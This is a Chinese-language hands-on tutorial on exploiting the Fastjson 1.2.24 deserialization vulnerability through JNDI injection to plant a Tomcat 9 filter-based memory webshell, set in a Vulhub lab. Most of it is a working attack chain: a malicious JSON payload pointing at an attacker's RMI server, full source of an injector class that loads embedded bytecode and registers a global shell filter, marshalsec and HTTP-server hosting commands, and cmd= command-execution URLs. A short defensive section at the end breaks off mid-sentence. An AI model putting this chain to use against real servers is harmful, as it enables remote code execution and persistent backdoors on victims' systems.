1. 实战背景与核心场景
在 JNDI 注入内存马的基础利用中,Fastjson 反序列化漏洞是最典型的触发场景之一。Fastjson 作为 Java 生态中常用的 JSON 解析库,其 1.2.24 及以下版本存在反序列化漏洞,攻击者可通过构造恶意 JSON payload,触发 JNDI lookup()
方法,进而加载远程恶意类并注入内存马。
实战中需重点解决两大问题:
-
容器版本兼容性:不同 Tomcat 版本(如 Tomcat 8 vs Tomcat 9)获取
StandardContext
的方式存在差异,直接影响内存马注册成功率。 -
漏洞环境适配:Vulhub 等公开靶场的 Fastjson 环境可能因依赖版本(如 Tomcat 9)与常规利用代码不兼容,导致注入失败,需针对性调整。
2. Fastjson 漏洞触发 JNDI 注入的原理
2.1 Fastjson 反序列化漏洞核心逻辑
Fastjson 支持通过 @type
字段指定反序列化的目标类,当目标类存在可被利用的 setter 方法或构造方法时,攻击者可构造恶意 payload 触发代码执行:
-
选择
com.sun.rowset.JdbcRowSetImpl
作为触发类:该类的setDataSourceName()
方法会将参数赋值给dataSourceName
属性,而execute()
方法会调用InitialContext.lookup(dataSourceName)
,形成 JNDI 注入链路。 -
恶意 JSON payload 格式:
{ "@type": "com.sun.rowset.JdbcRowSetImpl", "dataSourceName": "rmi://攻击端IP:1389/Inject", // 指向恶意 RMI/LDAP 服务 "autoCommit": true }
2.2 触发流程拆解
-
攻击者向 Fastjson 漏洞接口发送上述恶意 JSON payload。
-
Fastjson 解析
@type
字段,实例化JdbcRowSetImpl
类。 -
调用
setDataSourceName()
方法,将dataSourceName
设为恶意 RMI/LDAP 地址。 -
调用
execute()
方法(Fastjson 反序列化过程中自动触发或通过其他逻辑触发),执行context.lookup(dataSourceName)
。 -
受害者服务器加载远程
Inject.class
,触发构造方法中的内存马注册逻辑。
3. 实战痛点:Tomcat 9 容器适配问题
3.1 常规利用代码在 Tomcat 9 中的失败原因
在 Tomcat 8 中,可通过 WebappClassLoaderBase.getResources()
方法直接获取 StandardRoot
,进而拿到 StandardContext
:
// Tomcat 8 及以下获取 StandardContext 的常规代码(Tomcat 9 中失效) WebappClassLoaderBase classLoader = (WebappClassLoaderBase) Thread.currentThread().getContextClassLoader(); StandardRoot standardRoot = (StandardRoot) classLoader.getResources(); // Tomcat 9 中此方法返回 null StandardContext context = (StandardContext) standardRoot.getContext();
问题根源:Tomcat 9 对 WebappClassLoaderBase
类进行了重构,getResources()
方法被标记为 弃用,且内部实现返回 null
,导致上述代码抛出空指针异常(NPE)。
3.2 Tomcat 9 适配方案:反射获取 resources
字段
Tomcat 9 的 WebappClassLoaderBase
类中仍保留 resources
属性(类型为 StandardRoot
),但访问权限为 protected
,需通过反射突破访问限制:
// Tomcat 9 中获取 StandardContext 的正确代码 public StandardContext getTomcat9Context() throws Exception { // 1. 获取当前线程的 Web 应用类加载器 WebappClassLoaderBase classLoader = (WebappClassLoaderBase) Thread.currentThread().getContextClassLoader(); // 2. 反射获取 WebappClassLoaderBase 中的 "resources" 字段 Field resourcesField = WebappClassLoaderBase.class.getDeclaredField("resources"); resourcesField.setAccessible(true); // 突破 protected 访问限制 // 3. 从字段中获取 StandardRoot 实例 StandardRoot standardRoot = (StandardRoot) resourcesField.get(classLoader); // 4. 从 StandardRoot 获取 StandardContext return (StandardContext) standardRoot.getContext(); }
此方案通过直接操作类属性,绕过了失效的 getResources()
方法,适配 Tomcat 9 环境。
4. Fastjson 实战:完整注入流程(Tomcat 9 环境)
以 Vulhub 的 Fastjson 1.2.24 靶场(Tomcat 9 容器)为例,详细说明注入步骤:
4.1 环境准备
角色 | 工具 / 环境 | 说明 |
---|---|---|
攻击端 | JDK 8u62 | 低版本 JDK,确保 trustURLCodebase=true ,支持远程类加载 |
攻击端 | marshalsec | 启动 RMI/LDAP 服务,生成 JNDI 引用 |
攻击端 | Python HTTP 服务 | 托管恶意 Inject.class |
受害者 | Vulhub Fastjson 1.2.24 | Tomcat 9 容器,存在 Fastjson 反序列化漏洞 |
4.2 步骤 1:编写适配 Tomcat 9 的恶意注入类(Inject.java)
核心调整:使用反射获取 resources
字段,适配 Tomcat 9;内置 Base64 编码的 Filter 字节码,避免多文件依赖。
import org.apache.catalina.core.StandardContext; import org.apache.catalina.loader.WebappClassLoaderBase; import org.apache.catalina.webresources.StandardRoot; import org.apache.tomcat.util.descriptor.web.FilterDef; import org.apache.tomcat.util.descriptor.web.FilterMap; import sun.misc.BASE64Decoder; import javax.servlet.http.HttpFilter; import java.lang.reflect.Field; import java.lang.reflect.InvocationTargetException; import java.lang.reflect.Method; public class Inject { // 构造方法:自动执行内存马注册逻辑 public Inject() { try { // 1. 适配 Tomcat 9:反射获取 StandardContext WebappClassLoaderBase classLoader = (WebappClassLoaderBase) Thread.currentThread().getContextClassLoader(); Field resourcesField = WebappClassLoaderBase.class.getDeclaredField("resources"); resourcesField.setAccessible(true); StandardRoot standardRoot = (StandardRoot) resourcesField.get(classLoader); StandardContext context = (StandardContext) standardRoot.getContext(); // 2. Base64 解码 ShellFilter 字节码(替换为实际生成的编码) String filterBase64 = "yv66vgAAADQAWQoADwAvCAAlCwAwADEKADIAMwoAMgA0BwA1BwA2CgA3ADgKAAcAOQoABgA6CgAGADsL..."; BASE64Decoder decoder = new BASE64Decoder(); byte[] filterBytes = decoder.decodeBuffer(filterBase64); // 3. 反射加载 ShellFilter 类 ClassLoader webClassLoader = Thread.currentThread().getContextClassLoader(); Method defineClassMethod = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class); defineClassMethod.setAccessible(true); Class<?> filterClass = (Class<?>) defineClassMethod.invoke(webClassLoader, filterBytes, 0, filterBytes.length); // 4. 实例化 Filter 并注册到容器 HttpFilter shellFilter = (HttpFilter) filterClass.newInstance(); // 4.1 创建 Filter 定义 FilterDef filterDef = new FilterDef(); filterDef.setFilterName("fastjson-shell-filter"); filterDef.setFilter(shellFilter); filterDef.setFilterClass(filterClass.getName()); // 4.2 创建 Filter 映射(全局匹配) FilterMap filterMap = new FilterMap(); filterMap.setFilterName("fastjson-shell-filter"); filterMap.addURLPattern("/*"); // 4.3 注册到 StandardContext context.addFilterDef(filterDef); context.addFilterMapBefore(filterMap); context.filterStart(); // 激活 Filter System.out.println("Fastjson 触发 JNDI 注入内存马成功!"); } catch (Exception e) { System.err.println("注入失败:" + e.getMessage()); e.printStackTrace(); } } }
4.3 步骤 2:生成 ShellFilter 字节码的 Base64 编码
与基础 JNDI 注入流程一致,使用 javassist
将 ShellFilter
类转为 Base64 编码,嵌入 Inject
类的 filterBase64
变量中,确保无外部文件依赖。
4.4 步骤 3:攻击端搭建服务
4.4.1 编译 Inject 类
使用 JDK 8u62 编译,需引入 Tomcat 9 核心依赖(tomcat-catalina-9.0.97.jar
)与 Servlet API:
javac -cp "tomcat-catalina-9.0.97.jar:javax.servlet-api-4.0.1.jar" Inject.java
4.4.2 启动 HTTP 服务器
将编译后的 Inject.class
放入 HTTP 服务根目录,使用 Python 快速启动:
# 进入 Inject.class 所在目录,启动 80 端口 HTTP 服务 python -m http.server 80
4.4.3 启动 RMI 服务
使用 marshalsec
工具启动 RMI 服务,将引用指向 HTTP 服务器的 Inject.class
:
# 格式:java -cp marshalsec.jar marshalsec.jndi.RMIRefServer "http://攻击端IP/#Inject" RMI端口 java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://192.168.100.1/#Inject" 1389
4.5 步骤 4:触发 Fastjson 漏洞并注入内存马
4.5.1 启动 Vulhub Fastjson 靶场
# 进入 Vulhub Fastjson 1.2.24 目录,启动容器 cd vulhub/fastjson/1.2.24-rce sudo docker-compose up -d
4.5.2 发送恶意 JSON payload
通过 POST 请求向靶场漏洞接口(如 http://受害者IP:8090/
)发送 JSON payload,触发 JNDI 注入:
-
请求方法:POST
-
Content-Type:
application/json
-
请求体:
{ "@type": "com.sun.rowset.JdbcRowSetImpl", "dataSourceName": "rmi://192.168.100.1:1389/Inject", "autoCommit": true }
-
工具:可使用 Burp Suite、Postman 或 curl 发送请求。
4.5.3 验证内存马
注入成功后,通过任意请求携带 cmd
参数即可执行命令(Filter 全局生效):
-
执行
ls
(Linux):http://受害者IP:8090/?cmd=ls
-
执行
whoami
:http://受害者IP:8090/任意路径?cmd=whoami
-
响应结果:页面返回命令执行输出(如目录列表、当前用户)。
5. 实战常见问题与解决方案
问题现象 | 原因分析 | 解决方案 |
---|---|---|
注入时抛出空指针异常(NPE) | Tomcat 9 中 WebappClassLoaderBase.getResources() 返回 null |
改用反射获取 resources 字段,而非调用失效方法 |
JNDI 无法加载远程类 | 1. JDK 版本过高(8u191+),trustURLCodebase=false ;2. 远程类路径错误 |
1. 使用 JDK 8u191 以下版本;2. 检查 HTTP 服务地址与 Inject.class 路径 |
命令执行无响应 | 1. Filter 注册失败;2. 命令执行结果编码异常(如 Windows 中文乱码) | 1. 检查 Inject 类中 filterStart() 是否调用;2. 命令执行时指定编码(如 GBK ) |
Fastjson 解析报错 | payload 格式错误(如 @type 字段拼写错误、JSON 语法错误) |
验证 JSON 格式,确保 @type 字段为 com.sun.rowset.JdbcRowSetImpl |
6. 实战总结与防御建议
6.1 实战核心要点
-
容器版本适配:Tomcat 8 与 Tomcat 9 获取
StandardContext
的方式差异是实战成败关键,需通过反射灵活适配。 -
单一文件依赖:将 Filter 字节码以 Base64 形式嵌入
Inject
类,避免多文件依赖导致的加载失败。 -
服务链路验证:注入前需确认 HTTP 服务、RMI 服务可正常访问,避免因网络问题导致远程类加载失败。
6.2 防御建议
-
升级 Fastjson 版本:将 Fastjson 升级至 1.2.83 及以上,修复反序列化漏洞。
-
限制 JNDI 远程类加载:
-
升级 JDK 至 8u191+、7u201+,默认关闭
trustURLCodebase
。 -
通过 JVM 参数
-Dcom.sun.jndi.ldap.object.trustURLCodebase=false
禁用远程类加载。
-
-
监控异常请求:
-
拦截含
@type: com.sun.rowset.JdbcRowSetImpl
的恶意 JSON payload。 -
监控异常的 RMI/LDAP 连接(如非业务需求的外部 JNDI 服务访问)。
-
-
容器安全加固:
-
限制 Tomcat 应用的反射权限,禁止非必要的
Field.setAccessible(true)
操作。 -
定期检查
StandardContext
-